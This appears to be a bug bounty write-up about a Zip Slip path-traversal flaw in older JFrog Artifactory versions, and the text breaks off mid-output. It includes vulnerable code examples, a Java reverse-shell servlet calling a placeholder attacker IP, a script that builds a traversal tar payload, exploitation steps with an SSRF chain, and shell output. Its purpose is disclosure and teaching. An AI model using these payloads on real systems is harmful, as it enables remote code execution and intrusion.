{"id":56389,"date":"2024-06-24T12:56:31","date_gmt":"2024-06-24T12:56:31","guid":{"rendered":"https:\/\/packetstormsecurity.com\/news\/view\/36026\/Zip-Slips-Meets-Artifactory-A-Bug-Bounty-Story.html"},"modified":"2024-06-24T12:56:31","modified_gmt":"2024-06-24T12:56:31","slug":"zip-slips-meets-artifactory-a-bug-bounty-story","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/","title":{"rendered":"Zip Slips Meets Artifactory: A Bug Bounty Story"},"content":{"rendered":"<p><a href=\"https:\/\/jfrog.com\/artifactory\/\">Artifactory<\/a>, developed by JFrog, is an industry-leading software repository manager, a single solution for storing and managing all the artifacts, binaries, packages, files, containers, and components for use throughout the software supply chain. JFrog Artifactory serves as a central hub for <a href=\"https:\/\/en.wikipedia.org\/wiki\/DevOps\">DevOps<\/a>, integrating with software development tools and processes.<\/p>\n<p>In this blog post I\u2019m going to tell a story about a Zip Slip vulnerability in Artifactory I reported to the JFrog private Bug Bounty Program in early 2021, a security bug for which I got a bounty of <strong>USD 5000$<\/strong> and some cool swags!<\/p>\n<p>Last week I also had the chance to publicly talk about this story at <a href=\"https:\/\/hackmeeting.org\/hackit24\/\">hackmeeting 0x1B<\/a>, with a presentation titled <em><strong>Attacchi Zip Slip: storia di un exploit in \u201carchivio\u201d (Zip Slip Attacks: story of an exploit in \u201carchive\u201d)<\/strong><\/em>\u2026 <a href=\"https:\/\/docs.google.com\/presentation\/d\/11_M7gXBnYJUUeh_9JO0nmyhzwuvlddMsJzfmKtFUyog\">Here<\/a> you can find the slides used in my talk.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/karmainsecurity.com\/img\/hackmeeting.png\" alt><\/p>\n<p>Before moving forward to this story, let\u2019s have some context, and try to find out what is a Path Traversal vulnerability. Since a Zip Slip, in a nutshell, is an arbitrary file write vulnerability which can be exploited through Path Traversal attacks that might occur in the context of processing\/extraction of an archive file, such as a Zip or Tar archive. If you\u2019re already familiar with Path Traversal attacks you can also skip the next section.<\/p>\n<h4 id=\"-path-traversal-vulnerabilities\">\u2022 Path Traversal Vulnerabilities<\/h4>\n<p>A <a href=\"https:\/\/en.wikipedia.org\/wiki\/Directory_traversal_attack\">Path Traversal<\/a> (or Directory Traversal) attack exploits an insufficient input validation of user-supplied file names, such that characters representing \u201ctraverse to parent directory\u201d &#8211; so called dot-dot-slash (..\/) sequences &#8211; are passed through to the operating system\u2019s file system API. A vulnerable application might be exploited by attackers to gain unauthorized access to the file system, allowing them to read or write arbitrary files on the system.<\/p>\n<p>Indeed, an application can be vulnerable to Path Traversal attacks both in reading and writing mode, leading to arbitrary file read primitives in the first case, which might introduce <a href=\"https:\/\/portswigger.net\/web-security\/information-disclosure\">Information Disclosure<\/a> attack vectors, and arbitrary file write primitives in the second case, which in turn might lead to Remote Code Execution (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Arbitrary_code_execution\">RCE<\/a>) attacks. That\u2019s the reason why the second case is the most interesting one, and Zip Slip attacks work in writing mode, which means they can often lead to Remote Code Execution (RCE)!<\/p>\n<p>Following is an example of PHP application vulnerable to Path Traversal, in reading mode:<\/p>\n<div class=\"highlight\" readability=\"8\">\n<pre tabindex=\"0\"><code class=\"language-php\" data-lang=\"php\"><span> 1<\/span><span>&lt;?<\/span><span>php<\/span>\n<span> 2<\/span>\n<span> 3<\/span><span>\/\/ some PHP code\n<\/span><span> 4<\/span><span><\/span>\n<span> 5<\/span><span>if<\/span> (<span>isset<\/span>($_GET[<span>'filename'<\/span>]))\n<span><span> 6<\/span> $image <span>=<\/span> $_GET[<span>'filename'<\/span>];\n<\/span><span> 7<\/span><span>else<\/span>\n<span> 8<\/span> $image <span>=<\/span> <span>'default.png'<\/span>;\n<span> 9<\/span>\n<span><span>10<\/span><span>readfile<\/span>(<span>'\/var\/www\/images\/'<\/span> <span>.<\/span> $image);\n<\/span><span>11<\/span>\n<span>12<\/span><span>\/\/ some more PHP code\n<\/span><span>13<\/span><span><\/span>\n<span>14<\/span><span>?&gt;<\/span><span>\n<\/span><\/code><\/pre>\n<\/div>\n<p>In this example, due to a missing input validation of the <strong>\u201cfilename\u201d<\/strong> GET parameter (which is assigned to the <code>$image<\/code> variable at line 6), an attacker might be able to read arbitrary files on the vulnerable web server by using dot-dot-slash (..\/) sequences to e.g. reach to the root path (<code>\/<\/code>) and retrieve the content of the password file (<code>\/etc\/passwd<\/code>), something like this:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/karmainsecurity.com\/img\/directory-traversal.svg\" alt><\/p>\n<p>Here is another example of vulnerable Java web application, this time in writing mode:<\/p>\n<div class=\"highlight\" readability=\"14\">\n<pre tabindex=\"0\"><code class=\"language-java\" data-lang=\"java\"><span> 1<\/span><span>@PostMapping<\/span><span>(<\/span><span>\"\/uploadimage\"<\/span><span>)<\/span>\n<span> 2<\/span><span>public<\/span> String <span>uploadImage<\/span><span>(<\/span>Model model<span>,<\/span> <span>@RequestParam<\/span><span>(<\/span><span>\"image\"<\/span><span>)<\/span> MultipartFile file<span>)<\/span> <span>throws<\/span> IOException\n<span> 3<\/span><span>{<\/span>\n<span> 4<\/span> var name <span>=<\/span> file<span>.<\/span><span>getOriginalFilename<\/span><span>().<\/span><span>replace<\/span><span>(<\/span><span>\" \"<\/span><span>,<\/span> <span>\"_\"<\/span><span>);<\/span>\n<span> 5<\/span> var fileNameAndPath <span>=<\/span> Paths<span>.<\/span><span>get<\/span><span>(<\/span>UPLOAD_DIRECTORY<span>,<\/span> name<span>);<\/span>\n<span><span> 6<\/span> Files<span>.<\/span><span>write<\/span><span>(<\/span>fileNameAndPath<span>,<\/span> file<span>.<\/span><span>getBytes<\/span><span>());<\/span>\n<\/span><span> 7<\/span>\n<span> 8<\/span> <span>\/\/ some more Java code\n<\/span><span> 9<\/span><span><\/span>\n<span>10<\/span> <span>return<\/span> <span>\"\/user\/upload\"<\/span><span>;<\/span>\n<span>11<\/span><span>}<\/span><\/code><\/pre>\n<\/div>\n<p>In this case, due to an improper input validation of the submitted \u201cfilename\u201d (which is assigned to the <code>name<\/code> variable at line 4, and this is later used at line 6 to write the uploaded file), an attacker might be able to upload\/write arbitrary files anywhere on the web server, even outside of the destination directory (the <code>UPLOAD_DIRECTORY<\/code> constant in this example), using dot-dot-slash (..\/) sequences within the uploaded filename by e.g. tampering the upload HTTP request with a proxy tool. Something like this:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/karmainsecurity.com\/img\/upload-path-traversal.png\" alt><\/p>\n<p>This, in turn, might lead to Remote Code Execution (RCE) attacks by e.g. creating new malicious <a href=\"https:\/\/en.wikipedia.org\/wiki\/Jakarta_Server_Pages\">JSP<\/a> files inside the server\u2019s webroot folder, and remotely executing them by invoking the same through HTTP requests. Another possible attack vector would be to write\/overwrite the user\u2019s SSH private key (i.e. <code>\/home\/user\/.ssh\/id_rsa<\/code>), and gain unauthorized access to the web server through SSH, if exposed. In other words, there could be a number of ways to get Remote Code Execution (RCE) from an arbitrary file write primitive, and they all depend on the context, as we will see shortly.<\/p>\n<h4 id=\"-zip-slip-vulnerabilities\">\u2022 Zip Slip Vulnerabilities<\/h4>\n<p>Zip Slip is a class of vulnerabilities more than thirty years old, probably \u201cborn\u201d in 1991 with an article published on <a href=\"http:\/\/www.phrack.org\/issues\/34\/5.html#article\">Phrack<\/a>:<\/p>\n<blockquote readability=\"52\">\n<p>*** Technique #3: The -D Archive Hack<\/p>\n<p>This technique also plays on the openness of WWIV\u2019s archive system. This<br \/>\nis another method of getting a file into the root BBS directory, or anywhere on<br \/>\nthe hard drive, for that matter.<\/p>\n<p>First, create a temporary directory on your hard drive. It doesn\u2019t matter<br \/>\nwhat it\u2019s called. We\u2019ll call it TEMP. Then, make a sub-directory of TEMP<br \/>\ncalled AA. It can actually be called any two-character combination, but we\u2019ll<br \/>\nkeep it nice and simple. Then make a subdirectory of AA called WWIV.<\/p>\n<p>Place NETWORK.COM or REMOTE.COM or whatever in the directory<br \/>\n\\TEMP\\AA\\WWIV. Then from the TEMP directory execute the command:<\/p>\n<pre><code> PKZIP -r -P STUFF.ZIP &lt;--- The case of \"r\" and \"P\" are important.\n<\/code><\/pre>\n<p>This will create a zip file of all the contents of the directories, but<br \/>\nwith all of the directory names recursed and stored. So if you do a PKZIP -V<br \/>\nto list the files you should see AA\\WWIV\\REMOTE.COM, etc.<\/p>\n<p>Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search<br \/>\nfor \u201cAA\u201d. When you find it (it should occur twice), change it to \u201cC:\u201d. It is<br \/>\nprobably a good idea to do this twice, once with the subdirectory called WWIV,<br \/>\nand another with it called BBS, since those are the two most common main BBS<br \/>\ndirectory names for WWIV. You may even want to try D: or E: in addition to C:.<br \/>\nYou could even work backwards, by forgetting the WWIV subdirectory, and just<br \/>\nmaking it AA\\REMOTE.COM, and changing the \u201cAA\u201d to \u201c..\u201d. This would be<br \/>\nfoolproof. You could work from there, doing \u201c..\\..\\DOS\\PKZIP.COM\u201d or whatever.<\/p>\n<p>Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and<br \/>\ntype \u201cE\u201d to extract it to a temporary directory. It\u2019ll ask you what file.<br \/>\nType \u201cSTUFF.ZIP\u201d. It\u2019ll ask what you want to extract. Type \u201c&#8221;&#8221;-D\u201d. It\u2019ll<br \/>\nthen execute:<\/p>\n<pre><code> PKUNZIP STUFF.ZIP \"\"-D\n<\/code><\/pre>\n<p>It will unzip everything into the proper directory. Voila.<\/p>\n<\/blockquote>\n<p>So, basically the concept of putting dot-dot-slash (..\/) sequences inside an archive file, and therefore exploit applications vulnerable to Path Traversal attacks in this way, has been firstly introduced in September 1991 with regards to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Bulletin_board_system\">BBS<\/a> hacking, when the Web was just born a month before\u2026 However, it looks like it took some years before applying this technique to the Web context, and this likely happened in 2006, with <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2006-0931\">CVE-2006-0931<\/a> and <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2006-0932\">CVE-2006-0932<\/a> &#8211; which are the oldest Web related Zip Slip vulnerabilities I can see on <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvekey.cgi?keyword=traversal+zip\">these<\/a> <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvekey.cgi?keyword=traversal+tar\">lists<\/a>. Three years later, in April 2009, there was also a study published by <a href=\"https:\/\/web.archive.org\/web\/20091010103946\/https:\/\/labs.neohapsis.com\/2009\/04\/21\/directory-traversal-in-archives\/\">Neohapsis<\/a>. After some more years of \u201calmost silence\u201d about it, in 2018 Snyk published <a href=\"https:\/\/security.snyk.io\/research\/zip-slip-vulnerability\">a research<\/a> which \u201crenamed\u201d this class of vulnerabilities with the actual known name, and made Snyk collecting dozens of CVEs by discovering and reporting Zip Slip vulnerabilities in several software products.<\/p>\n<p>Let\u2019s see an example of vulnerable Java code:<\/p>\n<div class=\"highlight\" readability=\"13\">\n<pre tabindex=\"0\"><code class=\"language-java\" data-lang=\"java\"><span> 1<\/span><span>public<\/span> <span>void<\/span> <span>extractZipFile<\/span><span>(<\/span>ZipFile zip<span>,<\/span> String destinationDir<span>)<\/span>\n<span> 2<\/span><span>{<\/span>\n<span> 3<\/span> Enumeration<span>&lt;<\/span>ZipEntry<span>&gt;<\/span> entries <span>=<\/span> zip<span>.<\/span><span>getEntries<\/span><span>();<\/span> <span> 4<\/span> <span>while<\/span> <span>(<\/span>entries<span>.<\/span><span>hasMoreElements<\/span><span>())<\/span>\n<span> 5<\/span> <span>{<\/span> <span> 6<\/span> ZipEntry e <span>=<\/span> entries<span>.<\/span><span>nextElement<\/span><span>();<\/span> <span><span> 7<\/span> File f <span>=<\/span> <span>new<\/span> File<span>(<\/span>destinationDir<span>,<\/span> e<span>.<\/span><span>getName<\/span><span>());<\/span> <\/span><span> 8<\/span> InputStream input <span>=<\/span> zip<span>.<\/span><span>getInputStream<\/span><span>(<\/span>e<span>);<\/span> <span> 9<\/span> IOUtils<span>.<\/span><span>copy<\/span><span>(<\/span>input<span>,<\/span> write<span>(<\/span>f<span>));<\/span> <span>10<\/span> <span>}<\/span>\n<span>11<\/span><span>}<\/span><\/code><\/pre>\n<\/div>\n<p>As you can see, at line 7 the entry name (filename) within the Zip archive &#8211; or rather, the value returned by the call to <code>e.getName()<\/code> &#8211; is concatenated with the destination directory, without being validated, and this is later used at line 9 to actually write\/extract the file from the archive. As such, this might be exploited by providing a specially crafted Zip archive which contains dot-dot-slash (..\/) sequences within its entry filenames, leading to an arbitrary file write primitive via Path Traversal attacks.<\/p>\n<h4 id=\"-zip-slip-vulnerability-in-jfrog-artifactory--71210\">\u2022 Zip Slip Vulnerability in JFrog Artifactory &lt;= 7.12.10<\/h4>\n<p>It all began on December 28, 2020, when I received an invitation for a <a href=\"https:\/\/www.hackerone.com\/\">HackerOne<\/a> private program by JFrog. I was very glad for that, and immediately got intrigued by Artifactory\u2026 So, I downloaded it, installed it, and started testing and doing reverse engineering of its Java source code. As a result, I discovered a few nice security bugs affecting Artifactory, but here I\u2019m going to detail only one of them, probably the most interesting one (seeing it took me some days of hard work to actually exploit it). It\u2019s about a Zip Slip vulnerability located in the <code>org.artifactory.addon.bower.helpers.BowerExternalDependenciesHandler<\/code> class:<\/p>\n<div class=\"highlight\" readability=\"20\">\n<pre tabindex=\"0\"><code class=\"language-java\" data-lang=\"java\"><span>110<\/span> <span>private<\/span> List<span>&lt;<\/span>File<span>&gt;<\/span> <span>extractBowerPackage<\/span><span>()<\/span> <span>throws<\/span> IOException<span>,<\/span> ArchiveException <span>{<\/span>\n<span>111<\/span> log<span>.<\/span><span>debug<\/span><span>(<\/span><span>\"Extracting archive contents of bower package {} for dependency rewrite on repo {}\"<\/span><span>,<\/span> <span>this<\/span><span>.<\/span><span>resource<\/span>\n<span>112<\/span> <span>.<\/span><span>getRepoPath<\/span><span>(),<\/span> <span>this<\/span><span>.<\/span><span>repo<\/span><span>.<\/span><span>getKey<\/span><span>());<\/span>\n<span>113<\/span> ResourceStreamHandle handle <span>=<\/span> <span>this<\/span><span>.<\/span><span>repoService<\/span><span>.<\/span><span>getResourceStreamHandle<\/span><span>(<\/span><span>this<\/span><span>.<\/span><span>resource<\/span><span>.<\/span><span>getRepoPath<\/span><span>());<\/span>\n<span>114<\/span> List<span>&lt;<\/span>File<span>&gt;<\/span> archiveContents <span>=<\/span> <span>new<\/span> ArrayList<span>&lt;&gt;();<\/span>\n<span>115<\/span> ArchiveInputStream stream <span>=<\/span> <span>(<\/span><span>new<\/span> ArchiveStreamFactory<span>()).<\/span><span>createArchiveInputStream<\/span><span>(<\/span><span>new<\/span> BufferedInputStream<span>(<\/span><span>new<\/span> GZIPInputStream<span>(<\/span>handle<span>.<\/span><span>getInputStream<\/span><span>())));<\/span>\n<span>116<\/span> <span>try<\/span> <span>{<\/span>\n<span>117<\/span> ArchiveEntry entry<span>;<\/span>\n<span>118<\/span> <span>while<\/span> <span>((<\/span>entry <span>=<\/span> stream<span>.<\/span><span>getNextEntry<\/span><span>())<\/span> <span>!=<\/span> <span>null<\/span><span>)<\/span> <span>{<\/span>\n<span>119<\/span> <span>if<\/span> <span>(!<\/span>entry<span>.<\/span><span>isDirectory<\/span><span>()<\/span> <span>&amp;&amp;<\/span> <span>!<\/span>entry<span>.<\/span><span>getName<\/span><span>().<\/span><span>contains<\/span><span>(<\/span><span>\"pax_global_header\"<\/span><span>))<\/span> <span>{<\/span>\n<span><span>120<\/span> File outputFile <span>=<\/span> copyEntryToFile<span>(<\/span>stream<span>,<\/span> entry<span>);<\/span>\n<\/span><span>121<\/span> archiveContents<span>.<\/span><span>add<\/span><span>(<\/span>outputFile<span>);<\/span>\n<span>122<\/span> <span>}<\/span> <span>123<\/span> <span>}<\/span> <span>124<\/span> <span>if<\/span> <span>(<\/span>stream <span>!=<\/span> <span>null<\/span><span>)<\/span>\n<span>125<\/span> stream<span>.<\/span><span>close<\/span><span>();<\/span> <span>126<\/span> <span>}<\/span> <span>catch<\/span> <span>(<\/span>Throwable throwable<span>)<\/span> <span>{<\/span>\n<span>127<\/span> <span>if<\/span> <span>(<\/span>stream <span>!=<\/span> <span>null<\/span><span>)<\/span>\n<span>128<\/span> <span>try<\/span> <span>{<\/span>\n<span>129<\/span> stream<span>.<\/span><span>close<\/span><span>();<\/span>\n<span>130<\/span> <span>}<\/span> <span>catch<\/span> <span>(<\/span>Throwable throwable1<span>)<\/span> <span>{<\/span>\n<span>131<\/span> throwable<span>.<\/span><span>addSuppressed<\/span><span>(<\/span>throwable1<span>);<\/span>\n<span>132<\/span> <span>}<\/span> <span>133<\/span> <span>throw<\/span> throwable<span>;<\/span>\n<span>134<\/span> <span>}<\/span> <span>135<\/span> <span>if<\/span> <span>(<\/span>log<span>.<\/span><span>isTraceEnabled<\/span><span>())<\/span>\n<span>136<\/span> log<span>.<\/span><span>trace<\/span><span>(<\/span><span>\"Archive contents for bower package at {} are: {}\"<\/span><span>,<\/span> <span>this<\/span><span>.<\/span><span>resource<\/span><span>.<\/span><span>getRepoPath<\/span><span>(),<\/span> <span>137<\/span> Arrays<span>.<\/span><span>toString<\/span><span>(<\/span>archiveContents<span>.<\/span><span>toArray<\/span><span>()));<\/span> <span>138<\/span> <span>return<\/span> archiveContents<span>;<\/span>\n<span>139<\/span> <span>}<\/span>\n<span>140<\/span> <span>141<\/span> <span>private<\/span> File <span>copyEntryToFile<\/span><span>(<\/span>ArchiveInputStream stream<span>,<\/span> ArchiveEntry entry<span>)<\/span> <span>throws<\/span> IOException <span>{<\/span>\n<span><span>142<\/span> File outputFile <span>=<\/span> <span>new<\/span> File<span>(<\/span><span>this<\/span><span>.<\/span><span>tempBowerDirectory<\/span><span>,<\/span> entry<span>.<\/span><span>getName<\/span><span>());<\/span>\n<\/span><span>143<\/span> Files<span>.<\/span><span>createDirectories<\/span><span>(<\/span>outputFile<span>.<\/span><span>toPath<\/span><span>().<\/span><span>getParent<\/span><span>(),<\/span> <span>(<\/span>FileAttribute<span>&lt;?&gt;[])<\/span><span>new<\/span> FileAttribute<span>[<\/span>0<span>]);<\/span>\n<span>144<\/span> OutputStream os <span>=<\/span> <span>new<\/span> FileOutputStream<span>(<\/span>outputFile<span>);<\/span>\n<span>145<\/span> IOUtils<span>.<\/span><span>copy<\/span><span>((<\/span>InputStream<span>)<\/span>stream<span>,<\/span> os<span>);<\/span>\n<span>146<\/span> os<span>.<\/span><span>close<\/span><span>();<\/span>\n<span>147<\/span> <span>return<\/span> outputFile<span>;<\/span>\n<span>148<\/span> <span>}<\/span><\/code><\/pre>\n<\/div>\n<p>The <code>extractBowerPackage()<\/code> method is called when handling \u201c<a href=\"https:\/\/jfrog.com\/help\/r\/jfrog-artifactory-documentation\/automatically-rewrite-external-dependencies\">external dependencies rewrite<\/a>\u201d of <a href=\"https:\/\/bower.io\/\">Bower<\/a> packages, and this in turn will call the vulnerable <code>copyEntryToFile()<\/code> method at line 120 for each entry within the Bower package (which is expected to be a .tar.gz file). At line 142, this method uses the entry name (filename) provided within the user-tainted Bower archive &#8211; or rather, the value returned by the call to <code>entry.getName()<\/code> &#8211; for concatenation with a temporary directory to create a new <code>File<\/code> object, without proper validation. Such a <code>File<\/code> object is later used at lines 144-145 to actually extract the file from the package and write it on the file system. This can be exploited to write (or overwrite) arbitrary files on the remote web server by providing a malicious Bower package containing dot-dot-slash (..\/) sequences within its entry filenames, resulting in Remote Code Execution (RCE) attacks by e.g. creating a new <a href=\"https:\/\/en.wikipedia.org\/wiki\/WAR_(file_format)\">WAR<\/a> file inside the Tomcat <code>webapps<\/code> directory, which will be <a href=\"https:\/\/github.com\/gquere\/CVE-2020-7931?tab=readme-ov-file#starting-a-tomcat-servlet-deploying-a-war-file\">automatically deployed<\/a> as a new Tomcat web application after a few seconds:<\/p>\n<blockquote readability=\"9\">\n<p>WAR files have to be placed in Tomcat webapps path \/opt\/jfrog\/artifactory\/tomcat\/webapps\/. By default, deployment of WAR files is automatic and will start another web application next to the Artifactory instance, e.g. at http:\/\/localhost:8081\/sample\/.<\/p>\n<\/blockquote>\n<p>Following are the steps to create a specially crafted Bower package to exploit this Zip Slip vulnerability:<\/p>\n<ul>\n<li>Create a <code>ShellServlet.java<\/code> file containing your (reverse) shell code, something like this:<\/li>\n<\/ul>\n<div class=\"highlight\" readability=\"16\">\n<pre tabindex=\"0\"><code class=\"language-java\" data-lang=\"java\"><span> 1<\/span><span>import<\/span> java.io.*<span>;<\/span>\n<span> 2<\/span><span>import<\/span> java.net.Socket<span>;<\/span>\n<span> 3<\/span><span>import<\/span> javax.servlet.*<span>;<\/span>\n<span> 4<\/span><span>import<\/span> javax.servlet.http.*<span>;<\/span>\n<span> 5<\/span><span>import<\/span> javax.servlet.annotation.*<span>;<\/span>\n<span> 6<\/span>\n<span> 7<\/span><span>@WebServlet<\/span><span>(<\/span><span>\"\/\"<\/span><span>)<\/span>\n<span> 8<\/span><span>public<\/span> <span>class<\/span> <span>ShellServlet<\/span> <span>extends<\/span> HttpServlet <span>{<\/span>\n<span> 9<\/span>\n<span>10<\/span> <span>@Override<\/span>\n<span>11<\/span> <span>public<\/span> <span>void<\/span> <span>doGet<\/span><span>(<\/span>HttpServletRequest request<span>,<\/span> HttpServletResponse response<span>)<\/span> <span>throws<\/span> IOException<span>,<\/span> ServletException <span>{<\/span>\n<span>12<\/span>\n<span>13<\/span> String host <span>=<\/span> <span>\"[ATTACKER_IP_ADDRESS]\"<\/span><span>;<\/span>\n<span>14<\/span> <span>int<\/span> port <span>=<\/span> 12345<span>;<\/span>\n<span>15<\/span> String cmd <span>=<\/span> <span>\"\/bin\/sh\"<\/span><span>;<\/span>\n<span>16<\/span> <span>17<\/span> Process p <span>=<\/span> <span>new<\/span> ProcessBuilder<span>(<\/span>cmd<span>).<\/span><span>redirectErrorStream<\/span><span>(<\/span><span>true<\/span><span>).<\/span><span>start<\/span><span>();<\/span>\n<span>18<\/span> Socket s <span>=<\/span> <span>new<\/span> Socket<span>(<\/span>host<span>,<\/span> port<span>);<\/span>\n<span>19<\/span> InputStream pi <span>=<\/span> p<span>.<\/span><span>getInputStream<\/span><span>(),<\/span> pe <span>=<\/span> p<span>.<\/span><span>getErrorStream<\/span><span>(),<\/span> si <span>=<\/span> s<span>.<\/span><span>getInputStream<\/span><span>();<\/span>\n<span>20<\/span> OutputStream po <span>=<\/span> p<span>.<\/span><span>getOutputStream<\/span><span>(),<\/span> so <span>=<\/span> s<span>.<\/span><span>getOutputStream<\/span><span>();<\/span>\n<span>21<\/span> <span>22<\/span> <span>while<\/span><span>(!<\/span>s<span>.<\/span><span>isClosed<\/span><span>())<\/span> <span>{<\/span>\n<span>23<\/span>\n<span>24<\/span> <span>while<\/span><span>(<\/span>pi<span>.<\/span><span>available<\/span><span>()<\/span> <span>&gt;<\/span> 0<span>)<\/span>\n<span>25<\/span> so<span>.<\/span><span>write<\/span><span>(<\/span>pi<span>.<\/span><span>read<\/span><span>());<\/span>\n<span>26<\/span> <span>while<\/span><span>(<\/span>pe<span>.<\/span><span>available<\/span><span>()<\/span> <span>&gt;<\/span> 0<span>)<\/span>\n<span>27<\/span> so<span>.<\/span><span>write<\/span><span>(<\/span>pe<span>.<\/span><span>read<\/span><span>());<\/span>\n<span>28<\/span> <span>while<\/span><span>(<\/span>si<span>.<\/span><span>available<\/span><span>()<\/span> <span>&gt;<\/span> 0<span>)<\/span>\n<span>29<\/span> po<span>.<\/span><span>write<\/span><span>(<\/span>si<span>.<\/span><span>read<\/span><span>());<\/span>\n<span>30<\/span> <span>31<\/span> so<span>.<\/span><span>flush<\/span><span>();<\/span>\n<span>32<\/span> po<span>.<\/span><span>flush<\/span><span>();<\/span>\n<span>33<\/span> <span>34<\/span> <span>try<\/span> <span>{<\/span>\n<span>35<\/span> Thread<span>.<\/span><span>sleep<\/span><span>(<\/span>50<span>);<\/span>\n<span>36<\/span> p<span>.<\/span><span>exitValue<\/span><span>();<\/span>\n<span>37<\/span> <span>break<\/span><span>;<\/span>\n<span>38<\/span> <span>}<\/span>\n<span>39<\/span> <span>catch<\/span> <span>(<\/span>Exception e<span>)<\/span> <span>{<\/span>\n<span>40<\/span> <span>}<\/span>\n<span>41<\/span> <span>}<\/span>\n<span>42<\/span> <span>43<\/span> p<span>.<\/span><span>destroy<\/span><span>();<\/span>\n<span>44<\/span> s<span>.<\/span><span>close<\/span><span>();<\/span>\n<span>45<\/span> <span>}<\/span>\n<span>46<\/span><span>}<\/span><\/code><\/pre>\n<\/div>\n<ul>\n<li>Place this file inside the following directory structure: <code>rce\/WEB-INF\/classes\/ShellServlet.java<\/code><\/li>\n<li>Compile the servlet with the following command: <code>javac -cp servlet-api.jar rce\/WEB-INF\/classes\/ShellServlet.java<\/code><\/li>\n<li>Create the WAR file with the following command: <code>cd rce; jar -cvf ..\/rce.war WEB-INF\/classes\/*.class; cd ..<\/code><\/li>\n<li>Create the <code>rce.tar.gz<\/code> Bower package by running the following Python script:<\/li>\n<\/ul>\n<div class=\"highlight\" readability=\"13\">\n<pre tabindex=\"0\"><code class=\"language-python\" data-lang=\"python\"><span> 1<\/span><span>#!\/usr\/bin\/env python<\/span>\n<span> 2<\/span>\n<span> 3<\/span><span>import<\/span> sys<span>,<\/span> tarfile\n<span> 4<\/span>\n<span> 5<\/span>fname <span>=<\/span> <span>\"rce.tar.gz\"<\/span>\n<span> 6<\/span>zpath <span>=<\/span> <span>\"..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/opt\/jfrog\/artifactory\/app\/artifactory\/tomcat\/webapps\/rce.war\"<\/span>\n<span> 7<\/span>\n<span> 8<\/span>print <span>\"Creating \"<\/span> <span>+<\/span> fname <span>+<\/span> <span>\" containing \"<\/span> <span>+<\/span> zpath\n<span> 9<\/span>\n<span>10<\/span>tf <span>=<\/span> tarfile<span>.<\/span>open(fname, <span>\"w:gz\"<\/span>)\n<span>11<\/span>tf<span>.<\/span>add(<span>\"rce.war\"<\/span>, zpath)\n<span>12<\/span>tf<span>.<\/span>add(<span>\"bower.json\"<\/span>)\n<span>13<\/span>tf<span>.<\/span>close()<\/code><\/pre>\n<\/div>\n<ul>\n<li>Where the <code>bower.json<\/code> file contains an \u201cexternal dependency\u201d like this:<\/li>\n<\/ul>\n<div class=\"highlight\" readability=\"7\">\n<pre tabindex=\"0\"><code class=\"language-json\" data-lang=\"json\"><span>1<\/span>{\n<span>2<\/span> <span>\"dependencies\"<\/span>: {\n<span>3<\/span> <span>\"test\"<\/span>: <span>\"https:\/\/github.com\/owner\/package.git#branch\"<\/span>\n<span>4<\/span> }\n<span>5<\/span>}<\/code><\/pre>\n<\/div>\n<p>Once you created the <code>rce.tar.gz<\/code> file, you can reproduce the vulnerability with the following steps:<\/p>\n<ul>\n<li>Login as an admin user into Artifactory<\/li>\n<li>Create a new Bower Local Repository (<code>bower-local<\/code>)<\/li>\n<li>Create a new Bower Remote Repository (<code>bower-remote<\/code>)<\/li>\n<li>Create a new Bower Virtual Repository: select both <code>bower-local<\/code> and <code>bower-remote<\/code> under \u201cRepositories\u201d, select <code>bower-local<\/code> under \u201cDefault Deployment Repository\u201d, then click on the \u201cAdvanced\u201d tab and select \u201cEnable Dependency Rewrite\u201d<\/li>\n<li>Go to \u201cArtifactory\u201d \u2192 \u201cArtifacts\u201d, select the Bower Virtual Repository and deploy the <code>rce.tar.gz<\/code> file<\/li>\n<li>Download the deployed artifact and the vulnerability will be triggered, writing the <code>rce.war<\/code> file inside the Tomcat <code>webapps<\/code> directory, which will be automatically deployed as a new Tomcat web application<\/li>\n<li>Now, in order the execute the malicious WAR the attacker should access to <code>http:\/\/[artifactory_instance]:8081\/rce\/<\/code>, but this was not possible on JFrog Cloud because port 8081 was not open to the Internet. However, by \u201cchaining\u201d other (<a href=\"https:\/\/owasp.org\/www-community\/attacks\/Server_Side_Request_Forgery\">SSRF<\/a>) vulnerabilities, it was still possible to execute the WAR also on JFrog Cloud: just create a new Generic Remote Repository, and put the string <code>http:\/\/0.0.0.0:8081\/rce<\/code> in the URL text box, click on \u201cTest\u201d and the (reverse) shell will be executed<\/li>\n<\/ul>\n<p><strong>NOTE<\/strong>: even though creation of the Bower repositories requires an admin account, this doesn\u2019t necessarily mean that successful exploitation of this vulnerability requires an admin account. It could also be exploited by non-admin users with permissions to deploy artifacts in a Bower Virtual Repository with the \u201cEnable Dependency Rewrite\u201d option enabled.<\/p>\n<p>Here\u2019s the Proof of Concept (PoC) video I sent along with the HackerOne report:<\/p>\n<p><video width=\"100%\" controls><source src=\"\/pocs\/artifactory_rce.mov\">Your browser does not support the video tag.<\/video><\/p>\n<p>While <a href=\"https:\/\/karmainsecurity.com\/pocs\/artifactory_rce.zip\">here<\/a> you can find a full working Proof of Concept (PoC) script to reproduce this vulnerability. It\u2019s a PHP script supposed to be used from the command line (CLI), and you should see an output like the following:<\/p>\n<pre tabindex=\"0\"><code>$ php rce.php https:\/\/egix2hackerone.jfrog.io\/ admin ********\n[-] Logging in with username 'admin' and password '********'\n[-] Creating Bower Local Repository...\n[-] Creating Bower Remote Repository...\n[-] Creating Bower Virtual Repository...\n[-] Uploading malicious Bower package...\n[-] Deploying package to 'bower-1611601753'...\n[-] Downloading package to trigger the vulnerability...\n[-] Deleting Bower Repositories...\n[-] Waiting for the shell to be deployed... jfrog-shell# id\nuid=1030(artifactory) gid=1030(artifactory) groups=1030(artifactory),40019,40030 jfrog-shell# uname -a\nLinux a0efcqstryncc-artifactory-primary-0 4.14.203-156.332.amzn2.x86_64 #1 SMP Fri Oct 30 